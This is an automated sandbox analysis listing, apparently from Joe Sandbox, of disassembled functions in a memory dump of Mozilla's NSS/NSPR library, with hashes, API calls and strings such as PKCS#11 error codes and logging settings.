Instruction ID: 29a81201947cf643ec3bc44d36bc7ce74ecef61bd95f9f258040ca1c9eae7eac
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 4D519D72E0021A8FCB18CF59C9819AEF3B2FF88314B19457DD815B7746E730A941CBA0

Function 6C71DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction ID: 6f89412660839bfbb2fb789833f2b616d51b3692c00dcaec851efb280ef3804c
Opcode Fuzzy Hash: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction Fuzzy Hash: F0F16A71A04209CFDB09CF19C594BAA77B2BF89318F294178E8199BB41CB35ED42CBD5

Function 6C6B1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 6348150f16bee34cbf3be623f1d5d1efa7281fe6ed4a8495cc3507542e481558
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 9CD16B32D086568BDB118E18C8843DA77A3AB85328F1D4329DD747B7C6C37BA926C7D4

Function 6C648EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction ID: 1622172d4f9a442df465402b08bf12ee4b63b1d0d06476e9604433c7a7e18970
Opcode Fuzzy Hash: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction Fuzzy Hash: EE11E232A002198BD704CF15D884B9AB7A5BF4A358F04C2BAD805CFA61C375D882C7C9

Function 6C720C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction ID: 979fcc01a80d88852cbda04af60db50f49e0b067493dd87dd6010ba0e473dd42
Opcode Fuzzy Hash: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction Fuzzy Hash: 2311BFB46043058FCB00DF18C8946AA7BA5EF85368F148079D8198B701DB35E846CBA0

Function 6C693FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction ID: aaa21d302558c3844d7df4e51989134a7fd40b46e3c929224290d4ed7d5f5e7a
Opcode Fuzzy Hash: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction Fuzzy Hash: EDF03A70A0465D8BCB10DF69C55159EB7F8EF0E254B109629EC89AB301EB70AAD4C7D1

Function 6C720D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 73bb9faebba6c6434ab638d4f21b3fee4919f997bcf2fe20e68cc85889a39d4e
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 0CE0923A243058A7DB148E09C565AA97359DF81619FB4807DCC5D9FE01D737F90387A1

Function 6C64CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction ID: 5b601a91b7cd2a313a955e25909f9f71cfaa64f274997cbc46c2e2b6dcc15226
Opcode Fuzzy Hash: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction Fuzzy Hash: F9C04838244608CFC704DE08E499DA43BA8AB0961070400A4EA028B721DA21F800DA84

Function 6C681D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C681D46), ref: 6C682345

Strings

CKR_NEW_PIN_MODE, xrefs: 6C681E9F
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C682179
CKR_MUTEX_BAD, xrefs: 6C681F49
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C681DE0
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6822FF
CKR_SIGNATURE_INVALID, xrefs: 6C6820CF
CKR_DEVICE_REMOVED, xrefs: 6C682261
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C682275
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C682293, 6C68233F
CKR_FUNCTION_CANCELED, xrefs: 6C681E73
CKR_PIN_LEN_RANGE, xrefs: 6C682061
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C682327
CKR_TOKEN_NOT_PRESENT, xrefs: 6C681F81
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C681EE1
CKR_FUNCTION_REJECTED, xrefs: 6C682289
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C68232E
CKR_NEXT_OTP, xrefs: 6C68222F
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C68218D
CKR_MUTEX_NOT_LOCKED, xrefs: 6C682225
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C681F8B
CKR_PIN_LOCKED, xrefs: 6C682075
CKR_PIN_INCORRECT, xrefs: 6C681D92
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C68227F
CKR_WRAPPED_KEY_INVALID, xrefs: 6C681FB5
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C68226B
CKR_OK, xrefs: 6C681DFC
CKR_INFORMATION_SENSITIVE, xrefs: 6C6822B1
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C682320
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C682015
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C68204D
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6820D9
CKR_STATE_UNSAVEABLE, xrefs: 6C682037
CKR_SAVED_STATE_INVALID, xrefs: 6C681E56
CKR_DEVICE_ERROR, xrefs: 6C68229D
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C681F77
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C682319
CKR_PIN_INVALID, xrefs: 6C682057
rv = 0x%x, xrefs: 6C682312
CKR_BUFFER_TOO_SMALL, xrefs: 6C682183
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C681F95
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C681FD7
CKR_PIN_EXPIRED, xrefs: 6C68206B
CKR_RANDOM_NO_RNG, xrefs: 6C6822A7
CKR_OPERATION_ACTIVE, xrefs: 6C6822B8
CKR_DEVICE_MEMORY, xrefs: 6C681FF3
rv = %s, xrefs: 6C682340
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C681F0F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction ID: da3b4e072807a8d919c8bdebd02ccf90b0503af9a225f782f82d2f8772114a3a
Opcode Fuzzy Hash: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction Fuzzy Hash: B261112068F054C7E65C444CB2BE7AC2374BB07315F64823FE7968EE91D695CA8246BF

Function 6C6B5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C6B5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C6B5E5C
free.MOZGLUE(00000000), ref: 6C6B5E7E
free.MOZGLUE(00000000), ref: 6C6B5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C6B5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C6B5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C6B5EF0
free.MOZGLUE(00000000), ref: 6C6B5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C6B5F5B
free.MOZGLUE(00000000), ref: 6C6B5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C6B5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C6B5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B5FC4
free.MOZGLUE(00000000), ref: 6C6B5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B5FE9
free.MOZGLUE(00000000), ref: 6C6B5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C6B605A
PR_smprintf.NSS3(6C78AAF9,00000000), ref: 6C6B606A
free.MOZGLUE(00000000), ref: 6C6B607C
free.MOZGLUE(00000000), ref: 6C6B609A
free.MOZGLUE(00000000), ref: 6C6B60B2
free.MOZGLUE(?), ref: 6C6B60CE

Strings

configDir=, xrefs: 6C6B5F9D
secmod=, xrefs: 6C6B5FB1
readOnly, xrefs: 6C6B5E56
pkcs11.txt, xrefs: 6C6B5F47, 6C6B5F7C, 6C6B603A, 6C6B6053
noModDB, xrefs: 6C6B5EEA
forceSecmodChoice, xrefs: 6C6B5F55
flags, xrefs: 6C6B5E3A, 6C6B5EC6, 6C6B5F30
%s/%s, xrefs: 6C6B6055
secmod.db, xrefs: 6C6B5EA0

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction ID: 8e4ce998018fdc3f5a0a9ee57da4532335ba39161a0b70aadb0a87b8375467fa
Opcode Fuzzy Hash: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction Fuzzy Hash: F6910BF0A042056BEB019F65DD45BEA3BA86F0634CF080060FD55B7B42E731D526CBAA

Function 6C641D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C641DA3

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C641DB2

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C641DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C641E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C641EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C641ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C641EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C641F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C641F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C641F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C641F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C641F83
PR_SetLogFile.NSS3(00000000), ref: 6C641FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C641FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C641FCB
free.MOZGLUE(00000000), ref: 6C641FD2

Strings

NSPR_LOG_MODULES, xrefs: 6C641DAD
, %n, xrefs: 6C641E6B
append, xrefs: 6C641EE6
all, xrefs: 6C641F0E
timestamp, xrefs: 6C641EC4
sync, xrefs: 6C641E46
NSPR_LOG_FILE, xrefs: 6C641F69
bufsize, xrefs: 6C641E9B
Unable to create nspr log file '%s', xrefs: 6C641FB3
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C641E27

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction ID: 79fcaf9fef14b468d8e03f1a9735023f3bbf9ec3c43bfd487c92de74903a5a63
Opcode Fuzzy Hash: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction Fuzzy Hash: 1551CFB1E042499BDF00DBE5DD48B9E7BF8AF01309F088528E915DBA01E771D529CB99

Function 6C726E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5EBE66), ref: 6C726E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5EBE66), ref: 6C726E98
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,?,?,?,?,?,?,6C5EBE66), ref: 6C726EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5EBE66), ref: 6C726ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C726EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5EBE66), ref: 6C726FA6
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5EBE66), ref: 6C72701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C727030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C72705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5EBE66), ref: 6C727079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C7270A0

Strings

mz_etilqs_, xrefs: 6C726F18
winGetTempname1, xrefs: 6C72708F
winGetTempname5, xrefs: 6C727071
winGetTempname4, xrefs: 6C727046
Pvl, xrefs: 6C7270A8
winGetTempname2, xrefs: 6C7270C4

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pvl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3073947195
Opcode ID: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction ID: c094cd2936e94a87813ad0b07a9e933d8a1ba31693fc8c422700a140831e03f1
Opcode Fuzzy Hash: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction Fuzzy Hash: 69518E71E042115BE7149634AE59FBB362A9FC2318F144538E9059BFC1FF29AA0E82D7

Function 6C688E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C688E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C688EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688EB3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

